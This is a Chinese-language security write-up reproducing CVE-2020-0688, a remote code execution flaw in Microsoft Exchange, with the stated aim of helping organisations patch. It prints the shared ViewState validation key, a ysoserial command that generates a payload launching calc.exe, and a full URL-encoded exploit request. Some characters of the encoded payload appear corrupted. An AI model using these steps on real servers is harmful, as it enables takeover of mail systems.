「极速聊科技」exchange远程代码执行漏洞复现，CVE-2020-0688 近日网络公开了一个编号为CVE-2020-068

近日网络公开了一个编号为CVE-2020-0688的MicrosoftExchangeServer远程代码执行漏洞，丁牛安全团队对该漏洞进行了模拟复现，分析了该漏洞成因及利用，希望可以帮助企业了解该漏洞的危害，及时修复漏洞远离黑客攻击。
影响版本
MicrosoftExchangeServer2010ServicePack3
MicrosoftExchangeServer2013
MicrosoftExchangeServer2016
MicrosoftExchangeServer2019
漏洞原理
这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。
具体来说，与正常软件安装每次都会产生随机密钥不同，所有ExchangeServer在安装后的web.config文件中都拥有相同的validationKey和decryptionKey 。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NETWeb应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControlPanelweb应用上执行任意.net代码。
当攻击者通过各种手段获得一个可以访问ExchangeControlPanel组件的用户账号密码时。攻击者可以在被攻击的exchange上执行任意代码，直接获取服务器权限。
复现过程1、需要变量
想要利用该漏洞，我们需要四个参数，分别为：
–validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
–validationalg=SHA1
–generator=B97B4E27
–viewstateuserkey=ASP.NET_SessionId
2、获取viewstateuserkey和generator值
在正常登录后访问/ecp/default.aspx页面。使用F12开发者工具的Network选项，刷新页面重新发送请求，找到登录时/ecp/default.aspx的原始响应。
在Headers选项卡找到ASP.NET_SessionId的cookie：
在Response选项卡搜索__VIEWSTATEGENERATOR获取字段值：
如果未找到此字段不必慌张，直接使用默认值B97B4E27即可。
3、使用工具生成payload
生成payload命令：
【「极速聊科技」exchange远程代码执行漏洞复现，CVE-2020-0688】ysoserial.exe-pViewState-gTextFormattingRunProperties-c"calc.exe"--validationalg="SHA1"--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"--generator="B97B4E27"--viewstateuserkey="d673d1a4-1794-403e-ab96-e283ca880ef2"--isdebug--islegacy4、构造攻击地址
在生成完payload代码后，需要对该代码进行URLEncode编码构造一个URL
/ecp/default.aspx?__VIEWSTATEGENERATOR=&__VIEWSTATE=
将最开始获得的__VIEWSTATEGENERATOR值替换，将URLEncode编码后的payload替换。
示例：
https://192.168.1.248/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuM**wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuR**ybWF0dGluZy5UZXh0R**ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVnc**1bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljc**zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI%2BDQo8L1Jlc291cmNlRGljdGlvbmFyeT4Lp73ado0NJN2PSSnfOoN9h4H7xCU%3D

「极速聊科技」exchange远程代码执行漏洞复现，CVE-2020-0688

推荐阅读

吃小龙虾可能会感染肺吸虫？现在看还不晚

烹饪|芒果虾球、荷兰豆炒白蘑、沙茶羊肉，三道美味营养健康的家常菜

长风9527|大跌后支付宝基金广发双擎、诺安成长、银河创新谁能强势领跑

不用的冰箱可以放东西吗不使用的冰箱怎么存放

[豪情NBA]詹姆斯又有夺冠帮手，爵士双核关系破裂！15分13篮板悍将或去湖人

不断革新让虞山绿茶香飘更久远

在现代社会是要远小人近君子还是远君子近小人

海陆空天说@大批警察拿着棍子上街：不听话外出直接棍棒伺候，印度封城太硬核

文竹妈妈|准清华学子进工地搬砖，老板每天多给50元，“不想给父母添负担”

央视新闻客户端|连夜奋战12小时安徽圩堤裂缝险情排除

广州日报|广州生产安全事故起数死亡人数连续18年下降

有哪些健康产业投资和硅谷企业家个人健康情况有关

常吃四辣有利于保健康

蜘蛛|少女花7万多元参加“国学班”，竟被虐待到自残、抑郁！更可怕的是…一定要警惕

数据宝|基金抱团百强股出炉，科技龙头高居第二！高增长股票名单来了

吃阿胶糕能喝茶吗,吃竹叶茶上火吗

搞笑男人心|只有胎压高的时候才容易爆裂吗？90%的车主认为不对

|经典的黑白配要怎么穿出时髦高级感？参考江疏影倪妮的搭配就够了

『癫痫』脑增殖性血管病能否使用放射外科治疗？

问董秘|后续会有什么优质资产注入或其他资本运作...，投资者提问：上海电气作为公司大股东